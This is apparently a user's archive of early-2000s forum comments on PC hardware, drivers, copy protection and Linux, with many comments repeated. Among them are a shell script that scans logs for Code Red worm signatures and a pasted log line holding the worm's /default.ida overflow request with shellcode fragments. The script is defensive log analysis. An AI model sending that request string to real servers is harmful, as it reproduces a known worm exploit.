did you read the article? It talks about how the bot is designed to lay the pipe in the sewers. It doesn't string it or anything. A separate machine does that using pressurized air.
One great looking motherboard (which I own), is the ECS K7S5A. It is a black with a gold chipset heatsink. It's a full ATX form factor and has onboard sound and lan (both of which are supported by the latest linux kernels). It has sockets for both DDR and SDR Ram. The best part about it, is that it's only 57 bucks. (http://www.newegg.com/app/ViewProduct.asp?submit= manufactory&catalog=22&manufactory=1414) It's really the best board for the buck I've seen yet. My only advice when getting this board is to make sure you have a good quality power supply, because the power regulation circuitry on it isn't as sophisticated as something from ABit or FIC.
Not only is this old news, but ATI has since removed the Quake 3 optimizations (http://www.anandtech.com/video/showdoc.html?i=155 8&p=3) from the drivers, and improved them all around. While they're not perfect yet, I am still going to buy a Radeon 8500 DV when it comes out because it has features (TV in + out and remote) that the GF3 doesn't with about the same raw performance.
he dropped @Home cable because it was capped so badly that he actually got faster service with AOL. So he simply switched. Money wasn't the deciding factor. It was simply that the cable service was so horrible that it wasn't worth the aggravation of trying to get the knothead techs to fix it.
I never thought I'd reply to a AC or troll like this, but thanks for giving me a good kick in the nuts. I needed that. I mean, sure I used linux on my firewall box, but am I really USING it? when I realized that the very machine I was using IS on the same web browser as my grandma, it really hit home. I'm really going to take that extra duron machine I have and put it to good use. Thanks for the insight, whoever you are.
-Moose
ok, here it is.. the bestest best code red log checker... checks for cr1 and 2 and gives basic stats before flooding your console with IPs..
hope ya like it... do whatever ya feel like with it.. BSD license.
#!/bin/sh
echo Code Red Log Checker by MoOsEb0y
if [ $# -ne 1 ]
then
echo 'usage:'
echo 'cr.sh '
echo 'Use . for the path to scan current directory'
exit 3
fi
echo Checking for Code Red 1 Attacks...
echo -n 'unique IPs:'
cat $1/* | grep NNNNN | awk '{print $1}' | sort | uniq | wc -l
echo -n 'total hits:'
cat $1/* | grep NNNNN | awk '{print $1}' | wc -l
echo Checking for Code Red 2 Attacks...
echo -n 'unique IPs:'
cat $1/* | grep XXXXX | awk '{print $1}' | sort | uniq | wc -l
echo -n 'total hits:'
cat $1/* | grep XXXXX | awk '{print $1}' | wc -l
echo 'Would you like a detailed report on the IPs attacking your server'
echo -n '(may be long if you run a high-traffic server) (Y/N)?'
read OK
if [ " $OK" = " y" -o " $OK" = " Y" ]
then
echo 'Infected Code Red 1 Hosts:'
cat $1/* | grep NNNNN | awk '{print $1}' | sort | uniq
echo 'Infected Code Red 2 Hosts:'
cat $1/* | grep XXXXX | awk '{print $1}' | sort | uniq
echo 'Infected Code Red 1 and 2 Hosts:'
cat $1/* | grep NNNNN | grep XXXXX | awk '{print $1}' | sort | uniq
echo 'end of listings'
fi
This is true. It would help those with not a large amount of ram. But seeing as you can pick up 256megs of good quality ram for ~35 bucks a pop, I'm not too worried:^)
-Moose
Pardon my inquiry, but isn't this nothing that can't be done with the skills learned in that "Learn Perl in 24 hours" book? Why reinvent the wheel if you don't have to?
-Moose
well, well, I just checked my logs. I have been scanned by lamers for this heh.
This showed up in my logs. I'm pasting it unadulterated seeing as I've found like 20 copies of it anyways so the script kiddies already have it.
last night I experienced a similar problem on my machine. Someone had been using various proxies to proxy through my machine to various pay for click type sites. I quickly put an end to this by commenting out modproxy in my apache config. Whether this is related I don't know. One thing is for sure though. the rise of lame people is happing at an exponential rate. It will only continue to get worse from here.:\
A quote from the article:
The patents say the system deliberately gives some of the digital code on the CD "grossly erroneous values", adding bursts of hiss to the audio signal. In addition, the error-correction codes on the CD, which would normally correct such errors, are distorted. So error correction fails, leaving tiny gaps in the music.
Well, this wouldn't work with my yamaha 8424 cd burner because the thing acts like a miniature cd player when used in burst mode. Basically all this copy protection means is that when real errors occur (i.e. scratches), that they won't be repairable through c2 or other means. Plus with this kind of trickery they won't get the CD digital audio logo certification.
-Moose
another browser you might want to try that supports the linux framebuffer is arachne. http://www.arachne.cz. It is made for both dos and linux and supports HTML 3.2 as far as I can tell. (i.e. everything but javascript/shockwave/pop-under x10.com ads. I've used it before and it worked great on a 486 laptop I tossed it on.
I just downloaded and encoded some tracks with beta 4, and I hate to say this, but the quality of ogg has _DROPPED_ since beta 2. (If you don't believe me, go out and actually BUY a copy of alanis morissette - jagged little pill and encode track 8... don't do a freaking mp3 recode!)
-Moose
QBASIC PORT OF DECSS RIGHT HERE
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All your base are belong to me.
I ported DeCSS to Qbasic with the immense help of the "Plain English" version of DeCSS (I had no clue that >> shr or ^ meant XOR etc..)
Anyways, here it is: http://mooseb0y.net/css.bas
Toodles,
MoOsEb0y
The only problem with telnetting home is that 99% of the time, n2h2 is set up (as it is at my school) to have NO outside routes going out. Instead the school is run on a (BLECH!) NT lan, where there is a machine named proxy that you connect to for web. I have thought up of several ways around it, but I'm too lazy to code them. Right now, I have whiplash set up on my webserver so I can go on IRC from school. (http://mooseb0y.net/whiplash/)
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did you read the article? It talks about how the bot is designed to lay the pipe in the sewers. It doesn't string it or anything. A separate machine does that using pressurized air.
no offense dude, but what part of "Vintage Toys & Tech Photos" do you not understand?
According to dictionary.com:
Vintage adj.
3. Old or outmoded.
One great looking motherboard (which I own), is the ECS K7S5A. It is a black with a gold chipset heatsink. It's a full ATX form factor and has onboard sound and lan (both of which are supported by the latest linux kernels). It has sockets for both DDR and SDR Ram. The best part about it, is that it's only 57 bucks. (http://www.newegg.com/app/ViewProduct.asp?submit= manufactory&catalog=22&manufactory=1414) It's really the best board for the buck I've seen yet. My only advice when getting this board is to make sure you have a good quality power supply, because the power regulation circuitry on it isn't as sophisticated as something from ABit or FIC.
Not only is this old news, but ATI has since removed the Quake 3 optimizations (http://www.anandtech.com/video/showdoc.html?i=155 8&p=3) from the drivers, and improved them all around. While they're not perfect yet, I am still going to buy a Radeon 8500 DV when it comes out because it has features (TV in + out and remote) that the GF3 doesn't with about the same raw performance.
he dropped @Home cable because it was capped so badly that he actually got faster service with AOL. So he simply switched. Money wasn't the deciding factor. It was simply that the cable service was so horrible that it wasn't worth the aggravation of trying to get the knothead techs to fix it.
It's the CTF-LavaGiant map. and yes, it is a good map :)
I never thought I'd reply to a AC or troll like this, but thanks for giving me a good kick in the nuts. I needed that. I mean, sure I used linux on my firewall box, but am I really USING it? when I realized that the very machine I was using IS on the same web browser as my grandma, it really hit home. I'm really going to take that extra duron machine I have and put it to good use. Thanks for the insight, whoever you are.
-Moose
ok, here it is.. the bestest best code red log checker... checks for cr1 and 2 and gives basic stats before flooding your console with IPs..
hope ya like it... do whatever ya feel like with it.. BSD license.
#!/bin/sh
echo Code Red Log Checker by MoOsEb0y
if [ $# -ne 1 ]
then
echo 'usage:'
echo 'cr.sh '
echo 'Use . for the path to scan current directory'
exit 3
fi
echo Checking for Code Red 1 Attacks...
echo -n 'unique IPs:'
cat $1/* | grep NNNNN | awk '{print $1}' | sort | uniq | wc -l
echo -n 'total hits:'
cat $1/* | grep NNNNN | awk '{print $1}' | wc -l
echo Checking for Code Red 2 Attacks...
echo -n 'unique IPs:'
cat $1/* | grep XXXXX | awk '{print $1}' | sort | uniq | wc -l
echo -n 'total hits:'
cat $1/* | grep XXXXX | awk '{print $1}' | wc -l
echo 'Would you like a detailed report on the IPs attacking your server'
echo -n '(may be long if you run a high-traffic server) (Y/N)?'
read OK
if [ " $OK" = " y" -o " $OK" = " Y" ]
then
echo 'Infected Code Red 1 Hosts:'
cat $1/* | grep NNNNN | awk '{print $1}' | sort | uniq
echo 'Infected Code Red 2 Hosts:'
cat $1/* | grep XXXXX | awk '{print $1}' | sort | uniq
echo 'Infected Code Red 1 and 2 Hosts:'
cat $1/* | grep NNNNN | grep XXXXX | awk '{print $1}' | sort | uniq
echo 'end of listings'
fi
ya got me there :)
This is true. It would help those with not a large amount of ram. But seeing as you can pick up 256megs of good quality ram for ~35 bucks a pop, I'm not too worried :^)
-Moose
Pardon my inquiry, but isn't this nothing that can't be done with the skills learned in that "Learn Perl in 24 hours" book? Why reinvent the wheel if you don't have to?
-Moose
all I have to say to that is.... "HEAD SHOT" and... "M-M-M-M-M-M-Monster KILLL"
well, well, I just checked my logs. I have been scanned by lamers for this heh.
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 273
This showed up in my logs. I'm pasting it unadulterated seeing as I've found like 20 copies of it anyways so the script kiddies already have it.
207.68.188.44 - - [19/Jul/2001:15:15:30 -0400] "GET
last night I experienced a similar problem on my machine. Someone had been using various proxies to proxy through my machine to various pay for click type sites. I quickly put an end to this by commenting out modproxy in my apache config. Whether this is related I don't know. One thing is for sure though. the rise of lame people is happing at an exponential rate. It will only continue to get worse from here. :\
-Moose
A quote from the article:
The patents say the system deliberately gives some of the digital code on the CD "grossly erroneous values", adding bursts of hiss to the audio signal. In addition, the error-correction codes on the CD, which would normally correct such errors, are distorted. So error correction fails, leaving tiny gaps in the music.
Well, this wouldn't work with my yamaha 8424 cd burner because the thing acts like a miniature cd player when used in burst mode. Basically all this copy protection means is that when real errors occur (i.e. scratches), that they won't be repairable through c2 or other means. Plus with this kind of trickery they won't get the CD digital audio logo certification.
-Moose
another browser you might want to try that supports the linux framebuffer is arachne. http://www.arachne.cz. It is made for both dos and linux and supports HTML 3.2 as far as I can tell. (i.e. everything but javascript/shockwave/pop-under x10.com ads. I've used it before and it worked great on a 486 laptop I tossed it on.
Why use X, when you can do VNC. Terminal for any platform and you can resume your session from anywhere. http://www.uk.research.att.com/vnc/
I mean... sue the keyboard manufacturers.. they have less money. Those pesky printscreen buttons are now a circumvention device under the DMCA!
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but paypal rejected my beenz.com credit card. How odd.
I'm stockpiling hard drives now before the evil empire tries shoving this down my throat.
I just downloaded and encoded some tracks with beta 4, and I hate to say this, but the quality of ogg has _DROPPED_ since beta 2. (If you don't believe me, go out and actually BUY a copy of alanis morissette - jagged little pill and encode track 8... don't do a freaking mp3 recode!)
-Moose
All your base are belong to me.
I ported DeCSS to Qbasic with the immense help of the "Plain English" version of DeCSS (I had no clue that >> shr or ^ meant XOR etc..)
Anyways, here it is:
http://mooseb0y.net/css.bas
Toodles,
MoOsEb0y
The only problem with telnetting home is that 99% of the time, n2h2 is set up (as it is at my school) to have NO outside routes going out. Instead the school is run on a (BLECH!) NT lan, where there is a machine named proxy that you connect to for web. I have thought up of several ways around it, but I'm too lazy to code them. Right now, I have whiplash set up on my webserver so I can go on IRC from school. (http://mooseb0y.net/whiplash/)